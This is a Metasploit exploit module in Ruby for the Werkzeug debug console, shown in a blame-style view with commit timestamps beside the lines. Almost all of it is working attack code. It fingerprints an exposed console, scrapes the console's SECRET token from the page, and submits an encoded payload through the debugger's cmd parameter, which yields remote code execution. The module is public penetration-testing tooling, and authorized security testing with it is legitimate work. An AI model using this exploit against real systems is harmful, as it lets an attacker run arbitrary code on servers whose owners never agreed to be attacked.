2015-07-11 01:13:12 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit4 < Msf::Exploit::Remote
|
2015-08-13 18:25:55 +00:00
|
|
|
|
2015-07-11 01:13:12 +00:00
|
|
|
Rank = ExcellentRanking
|
2015-08-13 18:25:55 +00:00
|
|
|
|
2015-07-11 01:13:12 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
2015-08-13 18:25:55 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Werkzeug Debug Shell Command Execution',
|
|
|
|
'Description' => %q{
|
2015-07-11 01:13:12 +00:00
|
|
|
This module will exploit the Werkzeug debug console to put down a
|
2015-08-13 18:25:55 +00:00
|
|
|
Python shell. This debugger "must never be used on production
|
|
|
|
machines" but sometimes slips passed testing.
|
|
|
|
|
2015-07-11 01:13:12 +00:00
|
|
|
Tested against:
|
2015-08-13 18:25:55 +00:00
|
|
|
0.9.6 on Debian
|
|
|
|
0.9.6 on Centos
|
|
|
|
0.10 on Debian
|
2015-07-11 01:13:12 +00:00
|
|
|
},
|
2015-08-13 18:25:55 +00:00
|
|
|
'Author' => 'h00die <mike[at]shorebreaksecurity.com>',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger']
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
2015-07-11 01:13:12 +00:00
|
|
|
'Platform' => ['python'],
|
2015-08-01 15:11:37 +00:00
|
|
|
'Targets' => [[ 'werkzeug 0.10 and older', {}]],
|
2015-07-11 01:13:12 +00:00
|
|
|
'Arch' => ARCH_PYTHON,
|
|
|
|
'DefaultTarget' => 0,
|
2015-08-13 18:25:55 +00:00
|
|
|
'DisclosureDate' => 'Jun 28 2015'
|
|
|
|
))
|
|
|
|
|
2015-07-11 01:13:12 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2015-08-01 15:11:37 +00:00
|
|
|
OptString.new('TARGETURI', [true, 'URI to the console', '/console'])
|
2015-07-11 01:13:12 +00:00
|
|
|
], self.class
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2015-08-01 15:11:37 +00:00
|
|
|
res = send_request_cgi(
|
2015-08-13 18:25:55 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI'])
|
2015-08-01 15:11:37 +00:00
|
|
|
)
|
2015-08-13 18:25:55 +00:00
|
|
|
|
2015-08-01 15:11:37 +00:00
|
|
|
# https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67
|
|
|
|
if res && res.body =~ /Werkzeug powered traceback interpreter/
|
2015-07-25 00:34:40 +00:00
|
|
|
return Exploit::CheckCode::Appears
|
2015-07-11 01:13:12 +00:00
|
|
|
end
|
2015-08-13 18:25:55 +00:00
|
|
|
|
2015-08-01 15:11:37 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2015-07-11 01:13:12 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
2015-08-01 15:11:37 +00:00
|
|
|
# first we need to get the SECRET code
|
|
|
|
res = send_request_cgi(
|
2015-08-13 18:25:55 +00:00
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI'])
|
2015-08-01 15:11:37 +00:00
|
|
|
)
|
2015-08-13 18:25:55 +00:00
|
|
|
|
|
|
|
if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/
|
2015-07-25 00:34:40 +00:00
|
|
|
secret = $1
|
2015-08-01 18:39:12 +00:00
|
|
|
vprint_status("Secret Code: #{secret}")
|
2015-08-01 15:11:37 +00:00
|
|
|
send_request_cgi(
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
|
|
'vars_get' => {
|
|
|
|
'__debugger__' => 'yes',
|
2015-08-13 18:25:55 +00:00
|
|
|
'cmd' => payload.encoded,
|
|
|
|
'frm' => '0',
|
|
|
|
's' => secret
|
2015-08-01 15:11:37 +00:00
|
|
|
}
|
|
|
|
)
|
2015-07-11 01:13:12 +00:00
|
|
|
else
|
2015-08-01 15:11:37 +00:00
|
|
|
print_error('Secret code not detected.')
|
2015-07-11 01:13:12 +00:00
|
|
|
end
|
|
|
|
end
|
2015-08-13 18:25:55 +00:00
|
|
|
|
2015-07-11 01:13:12 +00:00
|
|
|
end
|